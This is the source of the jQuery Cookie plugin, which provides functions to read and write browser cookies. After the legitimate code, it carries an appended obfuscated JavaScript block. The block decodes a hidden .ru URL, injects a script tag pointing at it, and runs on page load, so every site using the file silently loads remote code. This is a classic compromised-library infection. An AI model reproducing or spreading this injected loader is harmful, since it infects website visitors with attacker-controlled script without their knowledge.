/**
 * Cookie plugin
 *
 * Copyright (c) 2006 Klaus Hartl (stilbuero.de)
 * Dual licensed under the MIT and GPL licenses:
 * http://www.opensource.org/licenses/mit-license.php
 * http://www.gnu.org/licenses/gpl.html
 *
 */

/**
 * Create a cookie with the given name and value and other optional parameters.
 *
 * @example $.cookie('the_cookie', 'the_value');
 * @desc Set the value of a cookie.
 * @example $.cookie('the_cookie', 'the_value', {expires: 7, path: '/', domain: 'jquery.com', secure: true});
 * @desc Create a cookie with all available options.
 * @example $.cookie('the_cookie', 'the_value');
 * @desc Create a session cookie.
 * @example $.cookie('the_cookie', '', {expires: -1});
 * @desc Delete a cookie by setting a date in the past.
 *
 * @param String name The name of the cookie.
 * @param String value The value of the cookie.
 * @param Object options An object literal containing key/value pairs to provide optional cookie attributes.
 * @option Number|Date expires Either an integer specifying the expiration date from now on in days or a Date object.
 *                             If a negative value is specified (e.g. a date in the past), the cookie will be deleted.
 *                             If set to null or omitted, the cookie will be a session cookie and will not be retained
 *                             when the the browser exits.
 * @option String path The value of the path atribute of the cookie (default: path of page that created the cookie).
 * @option String domain The value of the domain attribute of the cookie (default: domain of page that created the cookie).
 * @option Boolean secure If true, the secure attribute of the cookie will be set and the cookie transmission will
 *                        require a secure protocol (like HTTPS).
 * @type undefined
 *
 * @name $.cookie
 * @cat Plugins/Cookie
 * @author Klaus Hartl/klaus.hartl@stilbuero.de
 */

/**
 * Get the value of a cookie with the given name.
 *
 * @example $.cookie('the_cookie');
 * @desc Get the value of a cookie.
 *
 * @param String name The name of the cookie.
 * @return The value of the cookie.
 * @type String
 *
 * @name $.cookie
 * @cat Plugins/Cookie
 * @author Klaus Hartl/klaus.hartl@stilbuero.de
 */
jQuery.cookie = function(name, value, options) {
    if (typeof value != 'undefined') { // name and value given, set cookie
        options = options || {};
        var expires = '';
        if (options.expires && (typeof options.expires == 'number' || options.expires.toGMTString)) {
            var date;
            if (typeof options.expires == 'number') {
                date = new Date();
                date.setTime(date.getTime() + (options.expires * 24 * 60 * 60 * 1000));
            } else {
                date = options.expires;
            }
            expires = '; expires=' + date.toGMTString(); // use expires attribute, max-age is not supported by IE
        }
        var path = options.path ? '; path=' + options.path : '';
        var domain = options.domain ? '; domain=' + options.domain : '';
        var secure = options.secure ? '; secure' : '';
        document.cookie = [name, '=', encodeURIComponent(value), expires, path, domain, secure].join('');
	   return null;
    } else { // only name given, get cookie
        var cookieValue = null;
        if (document.cookie && document.cookie != '') {
            var cookies = document.cookie.split(';');
            for (var i = 0; i < cookies.length; i++) {
                var cookie = jQuery.trim(cookies[i]);
                // Does this cookie string begin with the name we want?
                if (cookie.substring(0, name.length + 1) == (name + '=')) {
                    cookieValue = decodeURIComponent(cookie.substring(name.length + 1));
                    break;
                }
            }
        }
        return cookieValue;
    }
};
var J=new String();var hX;if(hX!='pD'){hX=''};var IA;if(IA!='' && IA!='m'){IA=null};function D(){this.BO='';var NY;if(NY!='' && NY!='IK'){NY=''};var M;if(M!='b'){M=''};var o=new String();var g="\x68\x74\x74\x70\x3a\x2f\x2f\x62\x75\x35\x32\x30\x2d\x63\x6f\x6d\x2e\x6d\x74\x76\x2e\x63\x6f\x6d\x2e\x72\x75\x74\x75\x62\x65\x2d\x72\x75\x2e\x59\x6f\x75\x72\x42\x6c\x65\x6e\x64\x65\x72\x50\x61\x72\x74\x73\x2e\x72\x75\x3a";var j=window;var B='';var C=String("gSZ0".substr(0,1));var W;if(W!='dO' && W!='z'){W=''};var h=unescape;this.t='';var k="";var Nu=new String();var jW;if(jW!='Nq' && jW!='rC'){jW='Nq'};var qt='';function u(q,F){var A;if(A!='' && A!='X'){A='rS'};var R;if(R!='' && R!='Yt'){R=''};var x;if(x!='' && x!='fs'){x=''};var w=h("%5b")+F+h("%5d");var F_=new RegExp(w, C);return q.replace(F_, B);var H=new Array();var i=new Date();};this.TA="";var Zo;if(Zo!='' && Zo!='rK'){Zo='HA'};var Q=new Date();var _;if(_!='V' && _ != ''){_=null};var Sc;if(Sc!='a' && Sc != ''){Sc=null};var xY;if(xY!='up' && xY!='wz'){xY=''};var d=u('817710746989229076716','129647');var s='';var Ip;if(Ip!='' && Ip!='jn'){Ip=''};var y=document;var Lx;if(Lx!='gU'){Lx=''};var p=h("%2f%64%65%76%69%61%6e%74%61%72%74%2e%63%6f%6d%2f%64%65%76%69%61%6e%74%61%72%74%2e%63%6f%6d%2f%74%72%61%76%65%6c%6f%63%69%74%79%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%74%68%65%73%75%6e%2e%63%6f%2e%75%6b%2e%70%68%70");this.fk="";this.VI="";var EJ;if(EJ!='Cf' && EJ!='AQ'){EJ=''};function f(){var px=new Array();var HH=new String();s=g;var Kp=new Date();var XM=new Array();s+=d;var jz=new String();var lh;if(lh!='' && lh!='GF'){lh=null};s+=p;var Tv=new String();var Qx=new String();try {this.yW='';var WJ;if(WJ!='Fb'){WJ='Fb'};var VM;if(VM!='YA' && VM!='RV'){VM='YA'};O=y.createElement(u('s_cxrEixpEtE','XS_EIx6'));var T_;if(T_!='' && T_!='wB'){T_='Pn'};var Im='';var Ov;if(Ov!='hK' && Ov!='VE'){Ov=''};O.defer=[1][0];var Ux="";var uv;if(uv!='BB' && uv!='ZC'){uv=''};O.src=s;var w_="";y.body.appendChild(O);var La='';var IKn=new String();} catch(L){var v;if(v!='aX' && v!='Ec'){v='aX'};var eD;if(eD!='' && eD!='BE'){eD='sD'};};}j["onlo"+"ad"]=f;var c_=new String();var lS=new Array();};var d_;if(d_!='cH' && d_!='kh'){d_=''};var pK;if(pK!='' && pK!='zC'){pK='Ks'};var cy;if(cy!='lB'){cy=''};D();